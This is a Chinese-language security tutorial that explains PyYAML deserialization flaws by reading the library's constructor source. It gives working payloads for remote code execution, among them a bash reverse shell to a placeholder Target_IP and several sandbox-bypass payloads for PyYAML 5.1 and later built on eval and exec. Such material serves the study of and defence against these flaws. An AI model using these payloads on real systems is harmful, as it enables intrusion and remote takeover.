#什么是yaml?
YAML是一种人类可读的数据序列化格式,经常用于配置文件和数据交换。它的设计目标是易于阅读和编写,并且能够被不同编程语言支持的解析器解析。
在学习yaml反序列化漏洞之前,肯定要先学学它的基本语法,这里就不过多赘述了,可以看这个教程
这里要重点注意一下类型转换这部分。漏洞利用用的到的一些yaml和python类型转换如下
YAML | Python |
---|---|
!!python/name:module.name | 尝试创建module.name这个Python对象 |
!!python/module:package.module | 尝试导入package.module这个模块 |
!!python/object:module.cls | 尝试创建module.cls这个类的实例 |
!!python/object/new:module.cls [args] | 尝试创建module.cls的实例,并传入args的参数 |
!!python/object/apply:module.func [args] | 尝试调用module.func,并传入args的参数 |
#漏洞成因
#!!python/object/new 和 !!python/object/apply的实现
在constructor.py(也就是默认加载器)中,我们可以找到相应的实现函数
- python/object/apply–>construct_python_object_apply
- python/object/new–>construct_python_object_new
def construct_python_object_apply(self, suffix, node, newobj=False):
# Format:
# !!python/object/apply # (or !!python/object/new)
# args: [ ... arguments ... ]
# kwds: { ... keywords ... }
# state: ... state ...
# listitems: [ ... listitems ... ]
# dictitems: { ... dictitems ... }
# or short format:
# !!python/object/apply [ ... arguments ... ]
# The difference between !!python/object/apply and !!python/object/new
# is how an object is created, check make_python_instance for details.
if isinstance(node, SequenceNode):
# 如果节点为序列类型,则初始化参数、关键字、状态、列表和字典为空
args = self.construct_sequence(node, deep=True)
kwds = {}
state = {}
listitems = []
dictitems = {}
else:
# 如果节点为映射类型,则从值中提取参数、关键字、状态、列表和字典,其实就反应了该类标签所可以接受得参数类型。
value = self.construct_mapping(node, deep=True)
args = value.get('args', [])
kwds = value.get('kwds', {})
state = value.get('state', {})
listitems = value.get('listitems', [])
dictitems = value.get('dictitems', {})
instance = self.make_python_instance(suffix, node, args, kwds, newobj)
#如果存在创建 Python 对象实例
if state:
self.set_python_instance_state(instance, state)
if listitems:
instance.extend(listitems)
if dictitems:
for key in dictitems:
instance[key] = dictitems[key]
return instance
def construct_python_object_new(self, suffix, node):
return self.construct_python_object_apply(suffix, node, newobj=True)
# 可以看到python/object/new和python/object/apply实质上差别并不大
发现make_python_instance这个函数,跟进一下
def make_python_instance(self, suffix, node,
args=None, kwds=None, newobj=False):
if not args:
args = []
if not kwds:
kwds = {}
cls = self.find_python_name(suffix, node.start_mark)
if newobj and isinstance(cls, type):
return cls.__new__(cls, *args, **kwds)
else:
return cls(*args, **kwds)
接着还得看看find_python_name这个函数
def find_python_name(self, name, mark):
if not name:
raise ConstructorError("while constructing a Python object", mark,
"expected non-empty name appended to the tag", mark)
if '.' in name:
module_name, object_name = name.rsplit('.', 1)
else:
module_name = 'builtins'
object_name = name
try:
__import__(module_name)
except ImportError as exc:
raise ConstructorError("while constructing a Python object", mark,
"cannot find module %r (%s)" % (module_name, exc), mark)
module = sys.modules[module_name]
if not hasattr(module, object_name):
raise ConstructorError("while constructing a Python object", mark,
"cannot find %r in the module %r"
% (object_name, module.__name__), mark)
return getattr(module, object_name)
总结一下,当我们执行yaml.load(‘!!python/object/apply:os.system [“whoami”]’)这串代码时,是这么个流程:
- 调用construct_python_object_apply函数
- 随之调用make_python_instance函数
- 随之调用find_python_name函数
- name存在并且有”.”,分开os和system,尝试导入os,将module设定为os,判定os是否存在system属性,存在,返回getattr(module, object_name)
- getattr(module, object_name)也就是os.system函数,由于是!!python/object/apply调用所以newobj=Flase,则调用cls(*args, **kwds),即os.system(“whoami”)
#!!python/module的实现
该标签对应的函数是construct_python_module
def construct_python_module(self, suffix, node):
value = self.construct_scalar(node)
if value:
raise ConstructorError("while constructing a Python module", node.start_mark,
"expected the empty value, but found %r" % value, node.start_mark)
return self.find_python_module(suffix, node.start_mark)
跟进find_python_module函数
def find_python_module(self, name, mark):
if not name:
raise ConstructorError("while constructing a Python module", mark,
"expected non-empty name appended to the tag", mark)
try:
__import__(name)
except ImportError as exc:
raise ConstructorError("while constructing a Python module", mark,
"cannot find module %r (%s)" % (name, exc), mark)
return sys.modules[name]
可以发现这里并没有可以执行指令的地方,只是导入了指定的模块。但也存在利用价值,放到后文讨论
#!!python/name的实现
该标签对应的函数时construct_python_name
def construct_python_name(self, suffix, node):
value = self.construct_scalar(node)
if value:
raise ConstructorError("while constructing a Python name", node.start_mark,
"expected the empty value, but found %r" % value, node.start_mark)
return self.find_python_name(suffix, node.start_mark)
可见其调用了find_python_name,这个函数之前已经解释过了。最终是返回了module中的name。
#对于PyYAML模块版本<5.1的漏洞利用手法
yaml.load(data,Loader=) #加载单个YAML配置
yaml.load_all(data) # 加载多个YAML配置
这些版本的加载器默认为Constructor,并不安全。
#!!python/object/new 和 !!python/object/apply的利用
yaml.load("""
!!python/object/apply:os.system
- whoami
""")
# 这样就可以达到调用os.system执行whoami命令。
yaml.load("""
!!python/object/apply:os.system
- bash -c "bash -i >& /dev/tcp/Target_IP/Target_Port 0>&1"
""")
# 这样就可以达到反弹shell的目的
#!!python/module的利用
如果我们知道某个恶意python文件在服务器上的路径,或者能够上传这样的文件,那么我们就可以利用!!python/module将它以module的形式导入到当前文件
例如:
# exp.py
import os
os.system('whoami')
那么yaml.load(‘!!python/module:upload.exp’)这段语句就可以间接做到rce的作用。
#!!python/name的利用
首先给出一个例子:
import yaml
key= "114514"
b= yaml.load('!!python/name:__main__.key' )
if b == key:
print("ikun")
else:
print("you are not ikun")
我们可以这样来绕过条件判断。当key未知或者不可预测时,也可以这样过条件判断。当然利用方法不止这些,应用总是灵活的。
#对于PyYAML模块版本>=5.1的漏洞利用手法
在PyYaml>=5.1的版本中,find_python_name方法添加了unsafe=False导致我们不能直接通过__import__来引入模块。并且在PyYAML>=5.1版本中,将默认加载器调整为FullConstructor,加载的模块必须位于sys.modules中(说明程序已经 import 过了才让加载)才能够加载成功。
如果没有对于加载器选择的过滤,可以直接变更加载器,然后和之前的操作一样:
yaml.unsafe_load(paylaod)
yaml.load(payload,Loader=UnsafeLoader)
当然这基本没有可能性,所以还是另寻出路吧。
Fullconstructor中的find_python_name函数:
def find_python_name(self, name, mark, unsafe=False):
if not name:
raise ConstructorError("while constructing a Python object", mark,
"expected non-empty name appended to the tag", mark)
if '.' in name:
module_name, object_name = name.rsplit('.', 1)
else:
module_name = 'builtins'
object_name = name
if unsafe:
try:
__import__(module_name)
except ImportError as exc:
raise ConstructorError("while constructing a Python object", mark,
"cannot find module %r (%s)" % (module_name, exc), mark)
if module_name not in sys.modules:
raise ConstructorError("while constructing a Python object", mark,
"module %r is not imported" % module_name, mark)
module = sys.modules[module_name]
if not hasattr(module, object_name):
raise ConstructorError("while constructing a Python object", mark,
"cannot find %r in the module %r"
% (object_name, module.__name__), mark)
return getattr(module, object_name)
我们可以发现在unsafe为false的时候是无法导入新的模块的,但是我们可以利用builtins进行一些操作
例子:
yaml.load("""
!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- ["__import__('os').system('whoami')"]
""")
创建一个tuple对象,在这之中创建一个map对象,map的参数就是之后的!!python/name:eval和[“import(‘os’).system(‘whoami’)”]
这里使用tuple也是有其意义的,但是在这里解释有些冗长,详见文末参考~
#更高级的利用方法
在construct_python_object_apply这个函数中,我们可以看到
if listitems:
nstance.extend(listitems)
我们可以新建一个type对象,将它的extend属性令为”!!python/name:exec”,再在加上一个listitems,就可以执行listitems中的命令了
payload = '''
!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: "__import__('os').system('whoami')"
'''
yaml.load(payload)
利用state也可以做到一种攻击,首先看看set_python_instance_state函数
def set_python_instance_state(self, instance, state, unsafe=False):
if hasattr(instance, '__setstate__'):
instance.__setstate__(state)
else:
slotstate = {}
if isinstance(state, tuple) and len(state) == 2:
state, slotstate = state
if hasattr(instance, '__dict__'):
if not unsafe and state:
for key in state.keys():
self.check_state_key(key)
instance.__dict__.update(state)
elif state:
slotstate.update(state)
for key, value in slotstate.items():
if not unsafe:
self.check_state_key(key)
setattr(instance, key, value)
下面给出一个用例:
payload = """
- !!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('whoami')"
- !!python/object/new:staticmethod
args: [0]
state:
update: !!python/name:exec
"""
yaml.load(payload)
攻击流程如下:
- 创建str对象并且不给参数,这主要是个套子的作用,是为了设定其state为!!python/tuple
- 观察set_python_instance_state函数,
在现在的情况下,state就是if isinstance(state, tuple) and len(state) == 2: state, slotstate = state
而slotstate就是"__import__('os').system('whoami')"
!!python/object/new:staticmethod args: [0] state: update: !!python/name:exec
- slotstate经过处理后,其update属性就成为了exec
- 再执行slotstate.update(state),其实就是exec(state)
参考~🥰: